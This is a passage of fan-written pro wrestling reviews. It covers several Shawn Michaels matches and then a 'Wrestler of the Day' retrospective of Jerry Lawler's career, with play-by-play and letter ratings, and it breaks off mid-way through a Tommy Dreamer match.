Here’s HHH and Chyna as I wonder WHERE ARE THE FREAKING HARTS??? Shawn starts his finishing sequence and goes for Chin Music in the corner of all places but Smith counters into the powerslam. Rude grabs the foot and we hit the floor where the kick connects. Rude and HHH beat on him as somehow the referee sees none of this which is just completely ridiculous but whatever.

HHH even hits the Pedigree on the floor. Apparently Davey is wearing a knee brace for a bad knee which hasn’t been mentioned until just now. Well alright then. HHH and Chyna help Shawn and pull him about 6 inches. Seriously, how can the referee not freaking notice this??? Now Rude interferes again as this is beyond stupid now. Oh apparently Bulldog slipped off the platform that the ring is on and hurt his knee.

Well that’s something I guess. The referee stops the match to give Shawn the title and the Grand Slam. There are rumors that Smith was supposed to win but Shawn and HHH played politics to get the win as close to two days before this show. Somehow, I could completely buy that. There was zero need for Shawn to win here, especially in a show never mentioned on American television.

I really don’t…oh you have got to be screwing with me. Shawn puts the hold back on and Smith’s wife gets in to help but is picked off by Chyna and BRET AND OWEN HART RUN IN FOR THE SAVE. WHERE IN THE HOLY WORLD WERE THEY FIFTEEN FREAKING MINUTES AGO??? COME ON VINCE WILL YOU FREAKING THINK ONCE IN YOUR LIFE??? THAT MAKES NO SENSE!

If they’re going to run in for the save NOW why not do it when there were three people cheating to help Shawn? DX poses forever to end this. Yeah, after that stupidity, I’d totally buy the HHH and Shawn politics thing.

Rating: B-. The ending here is just so stupid that it makes my head spin, which makes me really think Shawn and HHH had something to do with it. Honestly, what did Shawn gain here? Does anyone remember anything about his European title reign that had to do with him defending the belt? I certainly don’t.

Actually, I remember him losing it on the Christmas show to HHH after Slaughter made them fight because he hadn’t defended it in over two months. What in the world was the point of him getting it here other than to help his own ego? That makes zero sense. Other than that bringing this match WAY down and the Harts looking like idiots, this was a kind of slow match and overly long with the interference sucking the life out of it at the end. It’s not bad, but not great at all.

Now on to the final two, starting with what might be the best match of all time. From Wrestlemania XXV.

Undertaker vs. Shawn Michaels

Shawn comes down from the top of the set all in white, Undertaker comes through the stage in blackk, symbolizing heaven vs. hell. Now THAT is an entrance. Feeling out process to start with Shawn circling around Taker and sticking with a few jabs here and there. Michaels pounds away in the corner and hits a hard chop but taker catches an incoming right hand. Taker LAUNCHES him into the corner and nearly out to the floor, only for Shawn to jump off the top and over Undertaker to get away.

Shawn might have hurt his knee but he’s channeling his inner Bret by goldbricking. Taker will have none of that and throws Shawn into the corner for more punishment. Michaels comes back with chops in the corner but gets backdropped down to stop the momentum. Taker drives some shoulder into Shawn but Shawn takes him down with a clothesline. The reverse Figure Four (called a regular one by that idiot Michael Cole) has Taker in trouble but he finally slugs his way out of it.

Taker pounds way in the corner but has to stop to shake life back into his leg. Snake eyes and the big boot put Shawn down and a legdrop gets two (brother). A chokeslam is countered into the Crossface by Shawn but Taker rolls over onto his side to block a lot of the pressure. After an attempted rollup by Undertaker, Shawn cranks on the hold a bit more, only to have Taker fight up and hit a big side slam for two. Back up and they slug it out with Shawn taking over via a flying forearm.

There’s the nipup but Shawn doesn’t tune up the band. Instead it’s a pair of atomic drops and a clothesline but as Shawn goes up, he jumps into the chokeslam. He escapes THAT and tries the superkick but is too far away, meaning the kick only hits Taker’s chest. It puts Taker down so Shawn tries the Figure Four but Taker counters into Hell’s Gate. Shawn flails around and gets a foot on the rope for a fast break but he’s clearly staggered.

We head to the floor for a bit but Taker misses the apron legdrop. A baseball slide keeps Taker on the floor but as Shawn tries the moonsault to the floor, Taker moves and Shawn CRASHES onto the concrete. Back inside and Taker sits up and busts out the Taker Dive, only to overrotate and CRASH in a terrifying landing. Shawn thankfully pulled a cameraman in the way to block some of the impact but this scared me to death live.

Shawn tells the referee to count in a kind of mid-match heel turn but Taker makes it back in at nine. Another superkick attempt is ducked and a HUGE chokeslam gets an insanely close two. The fans are getting way into these near falls now. The Tombstone is countered, the superkick is blocked, the chokeslam is escaped and NOW the superkick hits for a very delayed two count. Shawn is up now and looks all ticked off.

Taker grabs him by the throat but the Last Ride is countered into a sunset flip bid, but THAT is countered into the biggest Last Ride ever for two. Watching this match for probably the fourth time I actually thought that was the finish. Think about that for a minute. Taker goes up top and misses a top rope elbow but as Shawn tries to skin the cat, Undertaker catches him in the Tombstone. He sticks the tongue out but THAT gets two, I believe making Shawn either the first or second guy ever to kick out of all three of Taker’s finishers.

Taker nearly collapses from the shock and has a look on his face saying he has no idea where to go now. Shawn spins out of a Tombstone bid into a DDT and both guys are down. Michaels slowly crawls to the top and drops the elbow for no cover. Instead he tunes up the band again and the fans are all over him as a result. The kick hits clean and Shawn covers almost immediately but it only gets two. These kickouts are getting better and better each time.

They fight up from their knees and use each other to pull themselves up before slugging it out with everything they’ve got. A big boot puts Shawn down but Taker charges into a boot in the corner to put him down. Shawn climbs up top and tries a moonsault press, but Taker somehow catches him in mid air for another Tombstone to make him 16-0, and that’s your match of the year.

Rating: A+. Masterpiece, excellent, classic, best match they’ve ever had, best match of all time candidate etc. Pick one, as they’re all appropriate. This is one of the only matches ever where I’ve been on the edge of my seat the entire time and lost my mind on the kickouts. Absolutely outstanding here and one of the best matches I’ve ever seen, and that covers quite a bit of ground.

And now, perhaps my favorite match ever, from May 2, 2005 on Raw.

Gold Rush Tournament First Round: Shelton Benjamin vs. Shawn Michaels

This is the match that I was talking about. Shawn is back in the world title hunt after going after Muhammad Hassan for a few months. Shelton is on fire at this point so this is going to be great. They immediately hit the mat and Shelton dominates as you would expect him to. Shawn grabs a hammerlock and they hit the mat again. Shelton rides him again and Shawn has to head to the ropes to get a break.

Shelton takes him back to the mat but Shawn easily gets back up. A cradle gets two for Shawn out of nowhere and it’s followed by a forearm to take over. Shelton comes back with a clothesline and both guys go to the floor. We take a break and come back with Shelton countering a belly to back superplex into a cross body off the top but he can’t cover. Batista is watching in the back.

Shelton hits a Samoan Drop and both guys are down again. Things speed up and Shelton gets two off a backbreaker. Shawn hits the forearm and nips up, but Shelton nips up a second later, freaking Shawn out. We get a fast paced pinfall reversal sequence and Shawn takes Shelton down with a hard chop. Benjamin comes back with the Stinger Splash in the corner but the T-Bone is broken up.

Sweet Chin Music is caught and the Dragon Whip gets two. That sounded GREAT and JR’s commentary is only making this better. Shelton loads up a superplex but Shawn knocks him down and hits the elbow for two. Another Chin Music attempt is countered by a high kick for a VERY close two. Shelton jumps from the mat to the top rope and hits a spinning clothesline for another two. This is getting better and better with each kickout. Shelton gets sent to the apron and tries a springboard, but he jumps right into the Sweet Chin Music in an incredible spot. Shelton is DEAD and Shawn advances. That never gets old.

Rating: A+. It’s my favorite match ever. What grade did you expect me to give it? Also, this probably furthers Shawn’s record of most A+ matches for a single guy held by Shawn. The last few minutes of this has some of the best near falls on TV that I’ve ever seen. This is easily one of the best TV matches of all time. The only issue I have with it: what was Shelton going for at the end other than diving into the kick? I’ve never gotten that. The idea here was simple: Shawn was fighting himself from ten years ago. That’s very interesting and it worked like a masterpiece here.

He’s Shawn Michaels. I’m done.

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Wrestler of the Day – July 18: Jerry Lawler

Here’s a commentator who could actually wrestle: Jerry Lawler.

This is going to be a bit different than you might expect. Lawler has been around SO long that it’s almost impossible to cover everything. I’ll have to jump a lot as several years of his old stuff is very difficult to find.

Lawler got started in 1970. Here’s a match from I believe 1975/1976.

Jerry Lawler vs. Don Anderson

Lawler is a huge heel here and is already ticking the fans off before the match. The guy is nothing short of a master at that. A headlock goes nowhere and it’s Anderson taking over with an armbar. Back up and Lawler backs up before grabbing an armbar. Anderson counters and we get a complaint of tights being pulled to no avail. Back up again and Jerry hammers away, knocking him out to the floor with a big right hand. This brings out a football player that Lawler had yelled at earlier to knock Jerry out for the DQ.

Here’s a one time only moment: Ric Flair comes to Memphis. This was all set up and blown off in one episode. Flair was in Memphis on August 14, 1982 for a match and the angle came from there. I’ll include the promos for background.

Flair comes in to the studio and talks about how Memphis has surprised him with its class and how well read everyone is. He’s willing to wrestle here out of the goodness of his heart and signs for a contract against the Southern Heavyweight Champion, whoever that is at that point, at a date in the future. He’ll also be in the ring later tonight against Rick McCord.

Later in the show, Jerry Lawler comes out and doesn’t like that he’s facing Pat Hutchinson because Pat isn’t much competition. He would however like to shake hands with Ric Flair. Here’s Flair in the robe but Lawler asks him to step down off the apron for a second. Flair acts like he doesn’t know who Lawler is, even though Lawler says they wrestled on the same card a few months ago.

Ric says he isn’t wasting his time on Lawler but he’ll talk to him after the match. Jerry says Ric is here to impress the pretty women of Memphis and that won’t happen if he beats a rookie like McCord. The World Champion isn’t impressed and says he could wrestle a broom. He’s surprised by Memphis and could wrestle anyone and impress everybody. If the people here want him to face somebody else, then bring them out.

That’s exactly what Lawler wanted to hear, because he’d love to wrestle Ric Flair. Ric agrees to a ten minute time limit non-title match. Jerry plays on Flair’s ego, saying that if no one is up to Flair’s caliber, why not put the title on the line? Ric thinks it’s beneath him but he’ll do it anyway. They make it clear that the title is on the line for ten minutes.

NWA World Title: Ric Flair vs. Jerry Lawler

After the introductions, Flair wants it known that the champion is a fair man. Lawler may be a big man in Memphis, but Flair will give him the chance to walk out right now. Lawler says bring it on and the bell rings. Ric easily takes him to the mat and Jerry clearly isn’t much of an amateur wrestler. They trade hammerlocks with Flair being taken to the mat and it’s off to an armbar by the King. Jerry wins a battle over a top wristlock and takes the champion down with a headlock.

Back up and the time is already screwed up as they’re halfway done after about four minutes. Jerry is sent face first into the buckle but he catches Ric in a quickly broken sleeper. There are less than three minutes to go and Flair chops Lawler down, only to get caught in a gutwrench suplex for two. Ric hammers away and gets two off an elbow drop as we’ve got a minute left. There’s a knee drop for two more and a delayed vertical suplex. Flair puts on the Figure Four as time runs out after less than eight minutes.

Rating: D. The match was pretty horrible but they didn’t have the time to go anywhere. You would think Lawler would get in more offense though as this was mainly a Flair squash after about three minutes in. The time thing was probably a TV deal and something that was very common back in the day.

Post match Flair screams that Lawler gave up but is told it was a time limit draw. Now he wants five more minutes and the match continues. Flair throws Lawler around but Jerry is all ticked off. There goes the strap and Jerry hammers away before sending him into the corner for a Flair Flip. The middle rope fist connects and Ric bails to the floor. He grabs the title and leaves for the countout.

Lawler declares himself the winner and wants to know where his belt is. After a break, promoter Eddie Marlin comes out and says there was no contract and it wasn’t a title match. Ric comes back out and says there’s no contract and rips Memphis apart. Flair won’t ever wrestle Lawler again and says Jimmy Hart is the only man he trusts in Memphis.

Ric writes Hart a check for $10,000 for the destruction of Jerry Lawler. He’ll sign the check the day he hears that Lawler has a broken arm, a broken leg, a broken neck or whatever it takes to get him out of wrestling. There will be men coming in from around the world to take care of Lawler and he’ll know that Ric Flair is the Big Daddy of Memphis. I’ve always liked this story, even though it was something they did in almost every territory to make the top guy look like an even bigger deal.

We’ll stay in Memphis with this match on January 15, 1983. And no it’s not him.

Sabu vs. Jerry Lawler

Boy that would mean a much different match today. Before the match Lawler says he’s sick of Hart and all of his cronies and all their bounties and challenges and all that stuff. If Hart wants to, bring all his boys out here right now and let’s do it. Hart and Sabu come out and it’s on fast. Lawler throws Sabu into the ring and the beating begins. They head to the floor and Lawler destroys him with a chair. I don’t think this was anything resembling a match. Actually the referee is letting it keep going. Eaton runs in and gets a right hand from Jerry.

Lawler beats the tar out of Eaton too before heading back in to beat on Sabu some more. Back to Eaton as Jerry has to keep going between the two of them. He doesn’t seem to have many friends here does he? Sabu finally gets in a shot on Lawler with his collar and the beating is on. Some people finally come in to help but get beaten down as well.

From the AWA’s Super Sunday in 1983.

Jerry Lawler vs. John Tolos

Tolos is a guy named the Golden Greek who died a few years back. This is right after the David Letterman show with Kaufman so Lawler is a national sensation at this point. Tolos jumps him immediately and Jerry is in trouble early on. He hits a jumping shot to the arm and hooks a wristlock on Lawler. Lawler comes back with a punch and hooks a headlock. It’s so weird hearing Jerry called a young man.

Lawler cranks on the head and the fans are getting into his stuff. He cranks on the head twenty seven times with the fans counting along. A big right hand puts Tolos down and hooks the chinlock. A jawbreaker gets him out of that and they collide to put both guys down. Tolos gets up and throws him over the top for….not a DQ for some reason.

Back in Tolos gets some two counts and there goes the strap. He takes Tolos down and hits rapid fire punches to the face followed by the middle rope fist drop for two. Lawler misses a charge and both guys go down. Tolos misses a middle rope knee drop and the piledriver ends this. Lawler can’t do much but he can hit a piledriver with the best of them.

Rating: D+. Not much here but Lawler was a much bigger deal at this point on a national stage due to the Letterman/Kaufman thing. Having him come out here and piledrive a midcard level guy was the right move. The problem with this show is becoming clear though as there aren’t any real stories to the matches. To be fair though, that’s normal for wrestling back in this era.

Back in Memphis on December 26, 1987. There wasn’t much to be seen in the years between.

Lord of the Ring First Round: Curt Hennig vs. Jerry Lawler

Hennig jumps Lawler to start and stomps away with Jerry in big trouble. Curt pokes him in the eye as this has been one sided so far. Lawler is draped across the top rope for two and a knee lift puts him down again. Curt sends him into the corner as the beating continues. Lawler finally starts getting fired up and takes the strap down as the fans get into the match. Jerry pounds away in the corner so Hennig throws the referee down. Apparently that isn’t a DQ so Lawler makes his comeback and punches Curt down, eventually ending him with the middle rope fist drop.

Rating: D. This was more of an angle instead of a match. Jerry was chasing the world title at this point and would finally win in about five months later. This was more or less a teaser for future matches which is fine, though I’m surprised they went with the champion getting pinned in just over five minutes.

Jerry would finally get his real World Title (kind of) when Curt Hennig was jumping to the WWF. Lawler would be AWA World Champion in a title unification match at SuperClash III.

AWA World Title/WCCW World Title: Jerry Lawler vs. Kerry Von Erich

This is a legit unification match which is rarer than anything you’ll ever see in modern wrestling. This would be like the TNA Champion and ROH Champion unifying their belts. See what I mean? The unification lasted like a month because no one could actually let that stand. Lawler comes out to Gonna Fly Now. That takes guts. Both guys are faces but Lawler is the de facto heel.

Kerry, ever the brilliant guy, cuts his left arm half to pieces TAKING HIS JACKET OFF, because that’s where he was keeping his razor. There is literally blood dripping onto the mat 5 seconds into the match. Lawler rams it into the post like 40 seconds in to give it a reason to bleed, which shows some intelligence. Marshall manages to confuse right and left. And people wonder why this company folded.

Kerry hits a big right hand to take over and keeps checking his cut. Marshall says both of them have beaten Flair, Savage and Hogan. That’s true in Lawler’s case but I don’t remember ANY instance of Von Erich even facing Savage or Hogan. Then again he messed up left and right not 2 minutes ago so I’d take that with a grain of salt. Von Erich gets a clothesline and Lawler is annoyed.

Still feeling out now. Again remember that Lawler is a legit tough guy here and not a comedy guy that is a grizzled veteran. School boy gets two for Kerry. They do a test of strength which even the announcers say is stupid for Lawler. Jerry misses a right hand and the discus punch gets two. Lawler sends him to the floor and takes over as we’re into the meat of the match now.

Piledriver is loaded up and hits but Kerry beats him to his feet. Another discus punch hits for two. Claw goes on but he can’t quite cinch it in. A knee drop misses and Jerry gets a second wind. And there goes the referee about ten minutes in. Von Erich gets a Piledriver and there’s no referee. There is blood everywhere. Outside and Kerry punches the post by mistake, shifting momentum again.

Lawler does the Memphis standard of pretending to have a foreign object to drive the fans nuts. There’s nothing in his hand but it looks great. Kerry’s head is busted now and Lawler goes in for the kill, hitting the middle rope punch for two. He throws in the foreign object on the second one but Lawler jumps into the Iron Claw on the stomach (just go with it). The regular Claw goes on and blood is literally dripping off Von Erich’s head. Jerry finally gets a rope but it goes on again, this time in the middle of the ring.

The referee keeps checking on the cut and Kerry keeps shaking his head to make it harder to do, probably thinking there’s too much blood there. They get up and Kerry misses a charge in the corner to send Kerry’s head into the post. I was wrong earlier as they’ve found new places to bleed on. They slug it out and Lawler gets the object again for another shot.

Kerry’s tights have blood on them and are half red now when they started as white. Jerry goes after the eye like a crazy man and just picks his shots now. Kerry misses a big swing and it’s Ali Shuffle time. Time for the object again and Von Erich hits the floor. Lawler gets a running punch back in and Kerry is somehow able to fight back.

Discus punch hits in the corner and the referee keeps wanting to check on the cut. They punch each other and the referee finally gets to check on the cut. The fans are totally behind Kerry here. Claw goes on again and Lawler is almost dead but gets his arm up at the last possible second a few times. The referee checks the eye again and stops the match with Lawler out cold. Not for Lawler passing out, but because Von Erich “can’t continue.” WEAK ending, especially when Lawler is unconscious.

Rating: B+. This would have been a lot higher if they got the ending right. The blood thing works if they’re both down or something, but with Lawler out cold in the Claw and somehow winning there, I don’t get how that exactly works. Still though, this wouldn’t last long at all as the AWA stripped their title off Lawler in January or so and Larry Zbyszko of all people won it due to being Verne’s son in law.

Back to Memphis again on January 26, 1991.

Jerry Lawler vs. Terry Garvin

Uptown Bruno runs his mouth for awhile on commentary as the stalling is going on. We’re a minute in and there hasn’t been any contact. Ok there’s a lockup so we’re really going now. A right hand puts Garvin on the floor and he yells at the fans a bit. Garvin wants to box and Lawler is fine with it, so Garvin runs again. Back in Garvin charges into a boot in the corner. They’re averaging a strike a minute so far.

Bruno slips Garvin a chain and a pair of shots with it puts Lawler down. Piledriver further kills the King and Bruno chokes a bit. A third chain shot puts him down but Lawler pulls the strap down. He punches Garvin into the ropes and calls for something. Someone throws a pair of scissors in and the chase is on. Garvin runs out for the countout.

Rating: C-. Pretty boring match here as the majority of it was brawling. That’s Memphis 101 though: they’ve very much into a simpler style but it works pretty well as far as a crowd reaction. Stuff like trying to cut someone’s hair is an act of war and a non-existent chain is all you need to send the crowd into a frenzy. It’s the polar opposite of Raw and to an extent it really works.

Another Memphis match from February 13, 1993.

Rock N Roll Phantom vs. Jerry Lawler

The Phantom is Ron Bass’ (remember him? You probably shouldn’t) brother in a mask. He’s rather fat and is from Louisiana. Luger is out for commentary again. The Phantom takes over to start but Lawler gets going and the same guys that came out with Christopher earlier are here with the Phantom. They come in for a DQ at about a minute in. Jarrett and Christopher come out for a huge beatdown. Christopher gets on the mic (fourth or fifth time tonight) and says if Lawler wants to fight him tonight, get Jarrett out of the ring. Christopher tries to run anyway but Lawler catches him and beats him up.

It would soon be off to the WWF, with Lawler going after King of the Ring Bret Hart, triggering a LONG war, including this match at Summerslam 1993. It was supposed to take place earlier in the night but Bret first had to beat Doink the Clown. Jerry attacked him with his crutch to end the previous match, so Bret is coming in weakened.

Bret Hart vs. Jerry Lawler

Bret blasts him in the head with one of Doink’s buckets before the bell. They head inside and Bret immediately pounds Lawler down and gets in a crutch shot for good measure. Lawler gets in a crutch shot to the throat and chokes away as the referee (ECW’s Bill Alfonzo) is trying to restrain the Hart Brothers.

Bret gets crotched against the post, allowing Lawler to tell the referee to go yell at the Brothers again. The distraction lets Lawler get in more crutch shots in a classic simple heel move. He stops to tell the booing fans to shut up but Bret is ready to fight. Hart destroys Lawer and even throws in a piledriver before putting on the Sharpshooter for the academic submission. He won’t let go though and the decision is reversed.

Rating: B. The match itself isn’t much from an action standpoint, but the story was perfect (Bret wants revenge) and it’s a short form clinic on how to work a crowd from Lawler. Those subtle things like distracting the referee and sneaking in weapon shots and telling the crowd to shut up are so basic and easy but you NEVER see them today. Today’s writers need to watch some Lawler matches and they’ll learn how to have a crowd eating out of a heel’s hand in no time.

It takes about ten referees plus two Brothers to pull Bret off of Lawler. Bret is told that Lawler is the undisputed King so he goes after Jerry again as Lawler is put on a stretcher. Bruce Hart gets in some shots as well but Lawler is finally wheeled off, raising his arm in victory like the true villain he is.

Unfortunately we never got the planned blowoff to this feud as some 15 year old accused Lawler of rape (she admitted she made the whole thing up and Lawler was acquitted) so the Hart Brothers vs. Jerry and three hired goons at Survivor Series never happened. That’s a shame as the reaction for Lawler being destroyed by the whole family including Stu would have been a sight to behold.

Lawler would get into a weird feud with Roddy Piper over some charity deal, setting up Lawler’s lone PPV main event at King of the Ring 1994.

Roddy Piper vs. Jerry Lawler

Yes, this is somehow the main event of a show with a tournament and a world title match on it. Also, they talk about the New Generation as Lawler walks down the aisle. So we have two mostly retired guys representing the new generation. Yeah that makes a ton of sense. Donovan inadvertently points out the biggest flaw in the tournament: Lawler has always been king so it’s very confusing.

He calls himself the undisputed king of the company, despite Owen being crowned about 3 minutes ago. See the problem now? There’s also something about a children’s hospital in Canada as we’ve apparently shifted from King of the Ring to a bad TV movie of the week. Of course Piper has a full team of bagpipe players and drummers. For zero apparent reason, Piper is now best friends with the guy that made fun of him on Raw.

That makes less than zero sense. Apparently Lawler is to blame for the kid putting on the Piper outfit, doing an impression of Roddy, and bowing to King and kissing his feet. Why are we having this match again? That makes no sense at all but we’ll go with it anyway. Oh look Piper wants to talk. He uses the bubblegum line to a HUGE pop. The kid makes some bad jokes too for no apparent reason.

So, from the time Lawler came through the curtain, it took 8 minutes to start the actual match. Gorilla says it’s vintage Piper, and in this case it actually is as he doesn’t actually wrestle but fights. The kid has a crown on. Just take me now. Piper throws some punches to mix it up a little. Donovan thinks Piper doesn’t like Lawler. At least this is almost over. The kid keeps interfering and even Piper gets annoyed with him.

Lawler hasn’t gotten a single move in yet and we’re about 4 minutes in. Roddy has short and almost blonde hair at this point and it’s just not right looking. Lawler goes after the kid and gets beaten on. That’s the story way too many times in this. Make that 6 minutes with nothing from Jerry. Hey there’s a punch, and once he gets Piper dazed a bit, he goes after the kid again. This show just needs to end now. I mean right now. Walk out of the ring and the show will be better instantly.

Apparently by being evil, Lawler is showing his true colors. If that’s the case he’s the biggest patriot I’ve ever seen because he never has a problem showing them. We’re in the corner now with the kid next to the buckle and Piper on his for protection while Lawler kicks Piper. I hate this match. There’s no commentary for a bit either as they have nothing to say or Donovan has wandered off again.

Piper “defends” him by shoving him out of the ring head first. 96% of this match has been punches. I mean they’re not even throwing in any kicks or something like that to vary it up a bit. Why are these two main eventing this show? Can ANYONE explain that to me? Apparently Lawler has patented the sleeper. Does ANYONE ever remember him using that? I know Piper used it, but Lawler?

I think Roddy agreed to give money or part of it or something that he wins here to the hospital. You know, instead of just giving it to them anyway from his own pocket. Lawler hits the only high impact move he knows and Roddy gets up. Piper says bring it on, so Lawler punches him down. That’s just amusing. This is just a bad match and it’s not showing any sign of ending.

Piper hits two bulldogs because the first wasn’t enough I suppose. He sets for a third and the referee goes down. Lawler hits him with the legendary foreign object and Piper is out. To continue the idiocy of this match, Lawler puts his feet on the ropes. That’s not that dumb of course as it’s a standard heel move that made Flair more hated than it was thought humanly possible to be.

No, the stupid part is Piper kicking his feet up into the air while not moving Lawler at all. Hey Roddy: IT MIGHT HELP IF YOU MOVED YOUR ARMS TOO! Seriously he’s just kicking them into the air. You would think he’s having a seizure or something. Anyway the kid shoves Lawler’s feet off the ropes because we just haven’t had enough fun tonight.

Piper botches a belly to back suplex and then botches a cover (Yes, he managed to botch a cover) for the pin to end this as apparently it’s a big deal that it’s Father’s Day. Ok then. Piper celebrates with the kid to end this.

Rating: F. WHAT IN THE WORLD WAS THE POINT OF THIS??? It’s the second longest match of the night and it was AWFUL. Literally, 95%+ of that match was just punching. It wasn’t interesting, there was ZERO reason for this to end the show, and that kid was a freaking pest. Why wasn’t the WWF Title match the main event? It couldn’t have been to send the fans home happy. They were asleep for the most part. Hart won so it’s not like they would have been sad. I’m at a loss for words on this and that’s not something that happens often. I seriously have no clue what they were thinking here.

Back to Bret at the first In Your House. Bret had to face Hakushi earlier in the night but he “injured his knee” so Lawler is very confident.

Jerry Lawler vs. Bret Hart

Jerry didn’t see the interview so Bret limps to the ring again, only to climb in with ease. Lawler tries to run but gets caught in the corner where Bret pounds away. Bret takes him down with a slam and some legdrops followed by a BIG backdrop. All Hart so far but Lawler comes back with a quick piledriver (his finisher) but Bret is up in just a few seconds. He pounds way on Jerry in the corner again before piledriving Lawler down for one.

Jerry comes back with a slam of his own while going up top, only to jump into Bret’s fist to the ribs. Bret pounds away but here’s Shinja to distract Hart for about the 12th time tonight. The referee is knocked into the ropes and gets his ankle tied up in the ropes as Bret hits the Russian legsweep. Hakushi comes in and takes out Bret with a kick to the head and two top rope headbutts, giving Lawler the easy pin.

Rating: D+. Again this didn’t have the time to go anywhere as the last two matches haven’t even combined to go 11 minutes. Lawler vs. Hart was a feud that went on for over two years and would culminate soon enough. This wasn’t the best entry in the series though but it furthered both itself and Hakushi vs. Bret so no complaints there.

We’ll jump ahead again to Summerslam 1996 where Lawler has been tormenting Jake Roberts for his alcohol issues.

Jerry Lawler vs. Jake Roberts

Before the match we have the debut of a new Olympian who will be getting in the ring soon: Mark Henry. Lawler brings his own bag with him along with something in his pocket. He’s also wearing a Baltimore Ravens jersey (the beloved Cleveland Browns had recently moved to Baltimore and become the Ravens) because Lawler knows how to rile up a crowd like few others ever could. Henry thinks it’s hilarious despite being a face.

Lawler pulls out two bottles of Jim Beam to be Roberts’ partners tonight and says Roberts’ wife only looks good after a six pack. Henry is so stupid that if he won a gold medal he’d have it bronzed. Once Roberts uses his bar stool as a walker to get out here, Lawler is going to knock him sideways so everyone can recognize him. It’s very impressive how easily Lawler can have a crowd eating out of the palm of his hand like this.

Roberts finally comes out so Lawler pulls a huge bottle of booze from the bag. Jake pulls the snake out of his own bag to scare Lawler to the floor and the bell finally rings. Lawler looks for a microphone but Jake sends him face first into the steps and hammers away back inside. Back to the floor with Lawler being sent into various hard objects until he steals a drink from a fan to blind Jake. Henry: “So what is the fan going to drink?” Lawler gets one of the bottles from ringside but has to block a DDT attempt. Another DDT is countered and Jerry hits him in the throat with the bottle for the pin.

Rating: D. This was much more of an angle than a match with Lawler giving a great lesson in how to fire up a crowd. Roberts wouldn’t be around much longer before heading to ECW and the indies. This would lead to Henry’s first mini feud against Lawler which started got his career going in slow motion.

Post match Lawler says Roberts is holding his throat because he wants a drink. Lawler opens the big bottle to pour it down Jake’s throat but Mark Henry makes a delayed save.

Jerry would be on a team at Survivor Series 1996.

Team Hunter Hearst Helmsley vs. Team Marc Mero

Hunter Hearst Helmsley, Jerry Lawler, Goldust, Crush
Marc Mero, Jake Roberts, The Stalker, Rocky Maivia

I think you know everyone here. Stalker is Barry Windham as a kind of military guerrilla warfare character. This is Rocky’s debut, so who do you think the focus is going to be on? Lawler and Roberts are feuding as well. Mero has Sable with him here. Sunny immediately freaks out on JR for suggesting Sable is hotter. She yells about being natural while Sable is about to melt near the fireworks. Rocky’s outfit looks ridiculous with kind of a cape but made of streamers that goes over his chest as well. Apparently Roberts was a surprise partner and the replacement for Henry.

Jake comes out with the big yellow snake sans bag and chases the team off with it. Goldust and Mero get things going with Marc cranking on the arm. They both block hiptosses so Mero rolls him up for two. Off to Stalker who is now just a guy in camo pants and a WWF t-shirt. Back to Mero to fire off a bunch of hiptosses to Goldie who is a bit calmer than he was last year. Rollup gets two for Mero and it’s back to the arm. Stalker pounds away at Goldie’s ribs before it’s off to HHH. Off to Mero to face Crush as HHH wanted nothing to do with Wildman (Mero).

Mero grabs the arm and for you trivia guys out there, Rocky’s first official time in a WWF ring is against Crush. It lasts all of six seconds before it’s off to Lawler who is immediately punched, kicked in the face, and knocked to the floor. You know Lawler is going to go insane with the selling too. Lawler wants nothing to do with Rocky so it’s off to HHH. Vince explains that Rocky’s name is Dwayne Johnson and that he took the name of his father and grandfather to come up with Rocky Maivia.

In the first of many matches, HHH stomps away in the corner and JR is in football mode. Goldust comes in and drops an elbow followed by some rights to the head. Crush comes in and works on the back for a bit before it’s off to Lawler. Back to HHH as Sunny makes fun of Vince for allegedly having a toupee. Rocky pounds away and backdrops HHH before it’s off to Roberts.

Jake beats up everyone but tries to get to Lawler instead of going after the legal HHH. The shortarm clothesline takes HHH down but the DDT doesn’t work. Off to Lawler who makes fun of Roberts for being an alcoholic. Lawler keeps doing it and there’s the DDT for the first elimination. Goldust comes in next as JR makes fun of the lack of tan on Roberts. We hit the chinlock for a bit until jawbreaker gets Jake out of it. Off to Stalker as JR and Sunny talk about Barry wearing lucky boots. Crush hits Stalker in the back and the Curtain Call (reverse suplex drop) gets the pin for Goldust to tie things up.

Mero comes in immediately to hit a knee lift to take over. Goldie gets in a shot and HHH finally comes in to beat on the other captain. A backbreaker puts Mero down and it’s back to Crush. This is during Crush’s gang member phase and he couldn’t look more out of place with his partners at this point. A legdrop gets two for Crush and it’s off to Goldie. Back to Crush for another backbreaker for two. Things are slowing down a bit here.

HHH comes in again and puts on an abdominal stretch. He gets caught holding the ropes and hiptossed out as is his custom with referees. A sunset flip can’t get HHH down before he makes the tag to Goldust. HHH is back in about five seconds later and let’s look at Sunny! Ok I can’t complain about that one as much. Jake is pulled in sans tag, allowing Mero to hit a moonsault press on HHH for the elimination. That was a very messy sequence with all the tags with nothing happening between them and the non-tag to Jake. Either that or I missed a tag and Mero was totally illegal when he pinned HHH.

It’s Mero/Rocky/Roberts vs. Crush/HHH. Crush comes in next and is almost immediately dropkicked out to the floor. Mero loads up a dive but Goldust makes a save and shoves Crush out of the way. Back inside, Crush’s Heart Punch (exactly what it sounds like) pins Mero. We were looking at a replay when it happened though so that’s hearsay. Roberts comes in, misses the short clothesline and is Heart Punched out as well.

We’re left with Rocky (who actually gets a face chant in MSG at this point) vs. Goldust and Crush. He starts with the one not painted like an Academy Award and accepts a Test of Strength for some reason. A small package out of nowhere gets two for Maivia and here’s Goldust again. Rocky cross bodies Crush for no count as both bad guys are in the ring at once. Goldust hits Rocky low which isn’t illegal apparently but Crush Heart Punches Goldie. Cross body pins Crush and about thirty seconds later, a shoulder breaker (Rocky’s original finisher) gets the final pin.

Rating: C+. This dragged a bit in the middle, but it accomplished three goals: Roberts got to knock Lawler out cold, Mero got to pin HHH to continue their feud, and Rocky got to debut strongly. The problem is the rest of the match wasn’t much to see. Maivia winning over guys like Crush and Goldust is a good thing because it’s unrealistic to have him beat the IC Champion and beating Lawler doesn’t mean anything because Lawler is a career jobber in the WWF. Crush is a big imposing guy who is also a jobber, but at least he looks intimidating. Goldust has credentials too and a loss isn’t going to hurt him. Smart booking.

Jerry would show up in ECW to attack the promotion, setting up a match at Hardcore Heaven 1997.

Tommy Dreamer vs. Jerry Lawler

The story here is obvious: it’s ECW vs. the WWF and Lawler attacked Dreamer a few months back with the help of Rob Van Dam to set this up. Dreamer comes in with something metal to block Lawler’s right hands before knocking him to the floor with a shot to the head. Tommy throws a fan’s drink in Lawler’s face and crotches him on the post. Jerry is already busted open. There’s a hamburger and metal sign to the face as Dreamer is in full control.

